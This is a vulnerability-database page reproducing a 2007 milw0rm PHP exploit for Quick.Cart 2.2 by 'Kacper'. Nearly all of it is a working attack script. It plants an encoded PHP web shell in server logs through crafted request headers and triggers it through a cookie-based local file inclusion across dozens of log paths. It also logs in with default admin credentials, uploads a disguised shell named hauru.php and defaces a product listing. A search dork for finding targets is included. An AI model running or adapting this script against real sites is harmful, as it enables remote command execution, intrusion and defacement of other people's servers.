Lucene search
K

Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit by Kacper for Quick.Cart v2.2 allows remote code execution and local file inclusion

Code

                                                &#60;?php
/*
Exploit Name:
Quick.Cart &#60;= v2.2 Remote Local Include Exploit & Remote Code Execution Exploit

Autor: Kacper
Contact: [email protected]
Homepage: http://www.rahim.webd.pl/
Kacper Hacking & Security Blog: http://kacper.bblog.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)

//dork: &#34;Powered by Quick.Cart&#34;

script homepage/download/demo: http://opensolution.org/
*/

if ($argc&#60;4) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Quick.Cart
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -L[Login]:    Admin login (Default: admin)
 -H[Password]: Admin password (Default: admin)
Example:
php &#39;.$argv[0].&#39; localhost /Quick.Cart/ ls -la
php &#39;.$argv[0].&#39; localhost /Quick.Cart/ ls -la -Ladmin -Hadmin
php &#39;.$argv[0].&#39; localhost /Quick.Cart/ ls -la -P1.1.1.1:80
---------------------------------------------------------------------------
&#39;);
die;
}
error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function wyslijpakiet($pakiet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$pakiet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
$login=&#34;admin&#34;;
$haslo=&#34;admin&#34;;
$cmd=&#34;&#34;;
for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#39;-p&#39;) and ($temp&#60;&#62;&#39;-P&#39;)) {$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-L&#34;)
{
  $login=str_replace(&#34;-L&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-H&#34;)
{
  $haslo=str_replace(&#34;-H&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;bad patch!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
/*
how its works :)

in file &#34;config/general.php&#34; lines 12-33:

################################################################################
$config[&#39;dir_config&#39;]           = &#39;config/&#39;;
$config[&#39;dir_core&#39;]             = &#39;core/&#39;;
$config[&#39;dir_db&#39;]               = &#39;db/&#39;;
$config[&#39;dir_js&#39;]               = &#39;js/&#39;;
$config[&#39;dir_libraries&#39;]        = &#39;libraries/&#39;;
$config[&#39;dir_tpl&#39;]              = &#39;templates/&#39;;
$config[&#39;dir_files&#39;]            = &#39;files/&#39;;
$config[&#39;dir_ext&#39;]              = &#39;ext/&#39;;
$config[&#39;dir_plugins&#39;]          = &#39;plugins/&#39;;
$config[&#39;dir_lang&#39;]             = &#39;lang/&#39;;

if( isset( $sLang ) && is_file( $config[&#39;dir_lang&#39;].$sLang.&#39;.php&#39; ) && strlen( $sLang ) == 2 ){
  setCookie( &#39;sLanguage&#39;, $sLang, time( ) + 86400 );
  define( &#39;LANGUAGE&#39;, $sLang );
}
else{
  if( isset( $_COOKIE[&#39;sLanguage&#39;] ) )            &#60;-------------------------[^]
    define( &#39;LANGUAGE&#39;, $_COOKIE[&#39;sLanguage&#39;] );    &#60;-------------------------[^^]
  else
    define( &#39;LANGUAGE&#39;, $config[&#39;default_lang&#39;] ); 
}
################################################################################

and in index.php we can find line 32:

################################################################################
require_once DIR_LANG.LANGUAGE.&#39;.php&#39;; &#60;-------------------------[^^^]
################################################################################

we can define LANGUAGE string. 

Now how remote code execution:

in admin panel can upload any file on serwer, if you have admin login and password. Default admin login and password in script is &#34;admin&#34; many users dont change it!!
They don&#39;t edit file &#34;config/general.php&#34; lines 75-76:
$config[&#39;login&#39;]		= &#34;admin&#34;;
$config[&#39;pass&#39;]		= &#34;admin&#34;;

;)

Elo :)
*/

echo &#34;insert evil code in logfiles to run local include ...\r\n\r\n&#34;;
$hauru2 = base64_decode(&#34;PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL&#34;.
&#34;i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS&#34;.
&#34;4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB&#34;.
&#34;UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj&#34;.
&#34;aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI&#34;.
&#34;jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX&#34;.
&#34;NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+&#34;);
$pakiet=&#34;GET &#34;.$p.$hauru2.&#34; HTTP/1.0\r\n&#34;;
$pakiet.=&#34;User-Agent: &#34;.$hauru2.&#34; Googlebot/2.1\r\n&#34;;
$pakiet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$pakiet.=&#34;Connection: close\r\n\r\n&#34;;
wyslijpakiet($pakiet);
sleep(1);
$paths= array (
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../../../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;
);
for ($i=0; $i&#60;=count($paths)-1; $i++)
{$a=$i+2;
echo &#34;[&#34;.$a.&#34;] Check Path: &#34;.$paths[$i].&#34;\r\n&#34;;
echo &#34;remote code execution...wait..\n&#34;;
$pakiet =&#34;GET &#34;.$p.&#34;index.php HTTP/1.1\r\n&#34;;
$pakiet.=&#34;Cookie: sLanguage=../&#34;.$paths[$i].&#34;%00;\r\n&#34;;
$pakiet.=&#34;HAURU: &#34;.$cmd.&#34;\r\n&#34;;
$pakiet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$pakiet.=&#34;Connection: Close\r\n\r\n&#34;;
wyslijpakiet($pakiet);
if (strstr($html,&#34;Hauru&#34;))
{$temp=explode(&#34;Hauru&#34;,$html);
die($temp[1]);
}else{echo &#34;can&#39;t run evil code :/ ..\n&#34;;}}
$data   =&#34;_POST[sLogin]=&#34;.$login.&#34;&_POST[sPass]=&#34;.$haslo.&#34;&submit=sign%20in%20&raquo;&#34;;
$pakiet =&#34;POST &#34;.$p.&#34;admin.php?p=login HTTP/1.0\r\n&#34;;
$pakiet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$pakiet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n&#34;;
$pakiet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$pakiet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$pakiet.=&#34;Accept: text/plain\r\n&#34;;
$pakiet.=&#34;Connection: Close\r\n\r\n&#34;;
$pakiet.=$data;
wyslijpakiet($pakiet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{$temp2=explode(&#34; &#34;,$temp[$i]);
$cookie.=&#34; &#34;.$temp2[0];}
$temp=explode(&#34;PHPSESSID=&#34;,$cookie);
$temp2=explode(&#34;;&#34;,$temp[1]);
$ciacho=$temp2[0];
echo &#34;Now remote code execution with admin account..\n&#34;;
echo $ciacho.&#34;\n&#34;;
$hauru=
&#34;\x20\x0d\x0a\x47\x49\x46\x38\x36\x0d\x0a\x3c\x3f\x70\x68\x70\x20&#34;.
&#34;\x6f\x62\x5f\x63\x6c\x65\x61\x6e\x28\x29\x3b\x0d\x0a\x2f\x2f\x52&#34;.
&#34;\x75\x63\x68\x6f\x6d\x79\x20\x7a\x61\x6d\x65\x6b\x20\x48\x61\x75&#34;.
&#34;\x72\x75\x20\x3b\x2d\x29\x0d\x0a\x65\x63\x68\x6f\x22\x2e\x2e\x2e&#34;.
&#34;\x48\x61\x63\x6b\x65\x72\x2e\x2e\x4b\x61\x63\x70\x65\x72\x2e\x2e&#34;.
&#34;\x4d\x61\x64\x65\x2e\x2e\x69\x6e\x2e\x2e\x50\x6f\x6c\x61\x6e\x64&#34;.
&#34;\x21\x21\x2e\x2e\x2e\x44\x45\x56\x49\x4c\x2e\x54\x45\x41\x4d\x2e&#34;.
&#34;\x2e\x74\x68\x65\x2e\x2e\x62\x65\x73\x74\x2e\x2e\x70\x6f\x6c\x69&#34;.
&#34;\x73\x68\x2e\x2e\x74\x65\x61\x6d\x2e\x2e\x47\x72\x65\x65\x74\x7a&#34;.
&#34;\x2e\x2e\x2e\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x65\x63\x68&#34;.
&#34;\x6f\x22\x2e\x2e\x2e\x47\x6f\x20\x54\x6f\x20\x44\x45\x56\x49\x4c&#34;.
&#34;\x20\x54\x45\x41\x4d\x20\x49\x52\x43\x3a\x20\x37\x32\x2e\x32\x30&#34;.
&#34;\x2e\x31\x38\x2e\x36\x3a\x36\x36\x36\x37\x20\x23\x64\x65\x76\x69&#34;.
&#34;\x6c\x74\x65\x61\x6d\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x65&#34;.
&#34;\x63\x68\x6f\x22\x2e\x2e\x2e\x44\x45\x56\x49\x4c\x20\x54\x45\x41&#34;.
&#34;\x4d\x20\x53\x49\x54\x45\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x77&#34;.
&#34;\x77\x77\x2e\x72\x61\x68\x69\x6d\x2e\x77\x65\x62\x64\x2e\x70\x6c&#34;.
&#34;\x2f\x22\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x69\x6e\x69\x5f\x73&#34;.
&#34;\x65\x74\x28\x22\x6d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f&#34;.
&#34;\x6e\x5f\x74\x69\x6d\x65\x22\x2c\x30\x29\x3b\x0d\x0a\x20\x0d\x0a&#34;.
&#34;\x20\x0d\x0a\x65\x63\x68\x6f\x20\x22\x48\x61\x75\x72\x75\x22\x3b&#34;.
&#34;\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x70\x61\x73\x73\x74\x68\x72\x75&#34;.
&#34;\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x48\x54\x54\x50\x5f\x48&#34;.
&#34;\x41\x55\x52\x55\x5d\x29\x3b\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x64&#34;.
&#34;\x69\x65\x3b\x3f\x3e\x0d\x0a\x20&#34;;
$data.=&#39;-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;sName&#34;

DEVIL TEAM
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;aCategories[]&#34;

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;fPrice&#34;

10000000.00
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;sDescriptionShort&#34;

Hacked by Polish Hackers
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;sDescriptionFull&#34;

http://www.rahim.webd.pl/
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;iPosition&#34;

-99
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;iStatus&#34;

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;aFiles[]&#34;; filename=&#34;hauru.php&#34;
Content-Type: text/plain

&#39;.$hauru.&#39;
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;aFilesDescription[]&#34;

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;aFilesPosition[]&#34;

1
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;iProduct&#34;


-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;sOption&#34;

save
-----------------------------7d6224c08dc
Content-Disposition: form-data; name=&#34;submit&#34;

zapisz &raquo;
-----------------------------7d6224c08dc--
&#39;;
$pakiet =&#34;POST &#34;.$p.&#34;admin.php?p=productsList&sOption=save HTTP/1.0\r\n&#34;;
$pakiet.=&#34;Content-Type: multipart/form-data; boundary=-----------------------------7d6224c08dc\r\n&#34;;
$pakiet.=&#34;Accept-Language: pl\r\n&#34;;
$pakiet.=&#34;Proxy-Connection: Keep-Alive\r\n&#34;;
$pakiet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n&#34;;
$pakiet.=&#34;Cookie: sLogin=&#34;.$login.&#34;; PHPSESSID=&#34;.$ciacho.&#34;\r\n&#34;;
$pakiet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$pakiet.=&#34;Connection: Close\r\n\r\n&#34;;
$pakiet.=$data;
wyslijpakiet($pakiet);
sleep(1);
echo &#34;Now try to remote code execution...\n&#34;;
$pakiet =&#34;GET &#34;.$p.&#34;files/hauru.php HTTP/1.1\r\n&#34;;
$pakiet.=&#34;HAURU: &#34;.$cmd.&#34;\r\n&#34;;
$pakiet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$pakiet.=&#34;Connection: Close\r\n\r\n&#34;;
wyslijpakiet($pakiet);
if (strstr($html,&#34;Hauru&#34;))
{$temp=explode(&#34;Hauru&#34;,$html);
die($temp[1]);}
echo &#34;Cant find evil file :/    maybe this version script is too old but is not vulnerable ...&#34;;
echo &#34;Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam &#34;;
?&#62;

# milw0rm.com [2007-06-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation